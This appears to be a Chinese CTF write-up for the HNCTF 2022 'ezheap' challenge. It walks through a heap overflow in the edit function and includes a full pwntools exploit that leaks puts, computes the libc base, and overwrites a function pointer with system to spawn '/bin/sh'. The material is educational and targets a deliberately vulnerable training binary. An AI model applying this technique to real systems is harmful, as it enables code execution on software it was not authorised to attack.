NSSCTF [HNCTF 2022 WEEK4]

题解前的吐槽:紧拖慢拖还是在前段时间开始学了堆的UAF(虽然栈还没学明白,都好难[擦汗]),一直觉得学的懵懵懂懂,不太敢发题解,这题算是入堆题后一段时间的学习成果,有什么问题各位师傅可以提出来,作者会积极学习改进的[抱拳]

[HNCTF 2022 WEEK4]堆溢出

[HNCTF 2022 WEEK4]

(1)

准备

motaly@motaly-VMware-Virtual-Platform:~$ file ezheap
ezheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, BuildID[sha1]=b12e04dbc932d18202bfbea92a529b281e947ec0, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=ezheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   RW-RUNPATH   85 Symbols	  No	0		2		ezheap

(2)

libc版本
motaly@motaly-VMware-Virtual-Platform :~ $ patchelf -- set-interpreter /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ld-2.23.so ./ezheap
motaly@motaly-VMware-Virtual-Platform :~ $ patchelf -- set-rpath /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ ./ezheap
motaly@motaly-VMware-Virtual-Platform :~ $ ldd ezheap
linux-vdso.so.1 (0x0000746229e5f000)
libc.so.6 => /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/libc.so.6 (0x0000746229a00000)
/home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ld-2.23.so =>/lib64/ld-linux-x86-64.so.2 (0x0000746229e61000)

我这里用的是2.23-0ubuntu11.3_amd64

(3)

ida分析

main函数
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int n4; // [rsp+Ch] [rbp-4h]

  init_env(argc, argv, envp);
  puts("Easy Note.");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      n4 = getnum();
      if ( n4 != 4 )
        break;
      edit();
    }
    if ( n4 > 4 )
    {
LABEL_13:
      puts("Invalid!");
    }
    else if ( n4 == 3 )
    {
      show();
    }
    else
    {
      if ( n4 > 3 )
        goto LABEL_13;
      if ( n4 == 1 )
      {
        add();
      }
      else
      {
        if ( n4 != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

就一个堆题正常的菜单,有增删改查功能,依次查看

add函数
int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int v3; // [rsp+0h] [rbp-20h]
  int size; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");
  v3 = getnum();
  puts("Size:");
  size = getnum();
  if ( (unsigned int)size > 0x100 )
  {
    LODWORD(v1) = puts("Invalid!");
  }
  else
  {
    heaplist[v3] = malloc(0x20uLL);                  //系统创建0x20大小的堆块
    if ( !heaplist[v3] )
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];
    *(_QWORD *)(v0 + 16) = malloc(size);             //创建一个自定义大小的堆块
    *(_QWORD *)(heaplist[v3] + 32LL) = &puts;        //在0x20大小的堆块起始地址偏移                                                          
                                                       0x20处写入puts函数地址
    if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
    {
      puts("Malloc Error!");
      exit(1);
    }
    sizelist[v3] = size;
    puts("Name: ");
    if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10uLL) )
    {
      puts("Something error!");
      exit(1);
    }
    puts("Content:");
    if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )
    {
      puts("Error!");
      exit(1);
    }
    puts("Done!");
    v1 = heaplist[v3];
    *(_DWORD *)(v1 + 24) = 1;
  }
  return v1;
}

这里会泄露puts函数地址

delete函数
_QWORD *delete()
{
  _QWORD *heaplist; // rax
  unsigned int n0x10; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  n0x10 = getnum();
  if ( n0x10 <= 0x10 && *(_DWORD *)(heaplist[n0x10] + 24LL) )
  {
    free(*(void **)(heaplist[n0x10] + 16LL));
    free((void *)heaplist[n0x10]);
    sizelist[n0x10] = 0LL;
    *(_DWORD *)(heaplist[n0x10] + 24LL) = 0;
    *(_QWORD *)(heaplist[n0x10] + 16LL) = 0LL;
    heaplist = heaplist;
    heaplist[n0x10] = 0LL;
  }
  else
  {
    puts("Error idx!");
    return 0LL;
  }
  return heaplist;
}

没有UAF漏洞

show函数
__int64 show()
{
  unsigned int n0x10; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  n0x10 = getnum();
  if ( n0x10 < 0x10 && heaplist[n0x10] )
  {
    (*(void (__fastcall **)(_QWORD))(heaplist[n0x10] + 32LL))(heaplist[n0x10]);
    return (*(__int64 (__fastcall **)(_QWORD))(heaplist[n0x10] + 32LL))(*(_QWORD *)(heaplist[n0x10] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0LL;
  }
}

正常的输出

edit函数
ssize_t edit()
{
  unsigned int n0x10; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  n0x10 = getnum();
  puts("Size:");
  nbytes = getnum();
  if ( n0x10 <= 0x10 && heaplist[n0x10] && nbytes <= 0x100 )
    return read(0, *(void **)(heaplist[n0x10] + 16LL), nbytes);
  puts("Error idx!");
  return 0LL;
}

这里修改堆块大小只要小于等于0x100,当修改大小大于原本堆块大小时,会造成堆溢出。

(4)

思路:

这题有堆溢出和泄露了puts函数地址
1.我们可以先得到puts函数地址,来获得libc基址
2.然后修改puts函数地址为system函数地址,写入'/bin/sh'
先创建两个堆块(考虑系统创建的0x20大小chunk和我们后面的覆盖大小,这里选择方便一点的0x10大小)

from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21013)
io= process('/home/motaly/ezheap')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(index, size, name, content):
    io.sendlineafter("Choice:", "1")
    io.sendlineafter("Input your idx:", str(index))
    io.sendlineafter("Size:", str(size))
    io.sendlineafter("Name:", name)
    io.sendlineafter("Content:", content)


def delete(index):
    io.sendlineafter("Choice:", "2")
    io.sendlineafter("Input your idx:", str(index))


def show(index):
    io.sendlineafter("Choice:", "3")
    io.sendlineafter("Input your idx:", str(index))


def edit(index, size, content):
    io.sendlineafter("Choice:", "4")
    io.sendlineafter("Input your idx:", str(index))
    io.sendlineafter("Size:", str(size))
    io.send(content)

add(0, 0x10, "000", "a") #0
add(1, 0x10, "111", "b") #1

可以看到这里0x725a11c6f6a0是puts函数地址
我们需要得到这个地址,edit编辑函数,修改的是堆块内容,所以我们可以从第一个堆块的内容开始覆盖,一直覆盖到第二个堆块的指针处,改写第二个堆块的指针,使其原本指向自己堆块内容的,现在指向puts函数地址,最后通过show函数输出,代码如下

add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1

payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'    #0x31长度
edit(0, 0x40, payload)
show(1)

这里的b'A'24是覆盖这一段
 


p64(0x31)是写入第二个堆块的size大小
 


b'B'16是正好这一段
 


最后b'\x80'是改指针的最后一位
 


这里edit修改堆块的大小是根据payload长度,给的大小不能小于payload长度
最后运行的结果是这样的
 


能够输出puts函数地址后,就是接收puts函数地址得到libc基址
这里打远程,直接可以用这一段接收

add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1

payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'
edit(0, 0x40, payload)
show(1)

libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))

但本地我这有点问题,一开始我是这样子写的

io.recv()
libc_base=u64(io.recv(7)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))
gdb.attach(io)
pause()

但是这样子发现他读取了我填充的B值,没读到puts函数地址
 


 


经过我的反复修改,最后选择接收到payload最后的80处,然后计算到puts函数地址首位的距离进行读取

io.recvuntil(b'\x80')
libc_base=u64(io.recv(12)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))


20到73总共12位
最后就是跟上面一样,再次edit编辑第一块,这次通过溢处把原先第二块的puts函数的地址改为system函数地址,在第二块name处写入'/bin/sh',最后show输出

system = libc_base + libc.sym["system"]
payload = b'A'*24 + p64(0x31)  + b'/bin/sh\x00' + b'B'*24 + p64(system)
edit(0, 0x50, payload)
show(1)


最后汇总的exp脚本如下
from pwn import *
context.log_level = "debug"
io=remote('node5.anna.nssctf.cn',21013)
# io= process('/home/motaly/ezheap')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(index, size, name, content):
    io.sendlineafter("Choice:", "1")
    io.sendlineafter("Input your idx:", str(index))
    io.sendlineafter("Size:", str(size))
    io.sendlineafter("Name:", name)
    io.sendlineafter("Content:", content)


def delete(index):
    io.sendlineafter("Choice:", "2")
    io.sendlineafter("Input your idx:", str(index))


def show(index):
    io.sendlineafter("Choice:", "3")
    io.sendlineafter("Input your idx:", str(index))


def edit(index, size, content):
    io.sendlineafter("Choice:", "4")
    io.sendlineafter("Input your idx:", str(index))
    io.sendlineafter("Size:", str(size))
    io.send(content)

add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1

payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'
edit(0, 0x40, payload)
show(1)

libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))-libc.sym['puts']
# io.recvuntil(b'\x80')
# libc_base=u64(io.recv(12)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))

system = libc_base + libc.sym["system"]
payload = b'A'*24 + p64(0x31)  + b'/bin/sh\x00' + b'B'*24 + p64(system)
edit(0, 0x50, payload)
show(1)

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值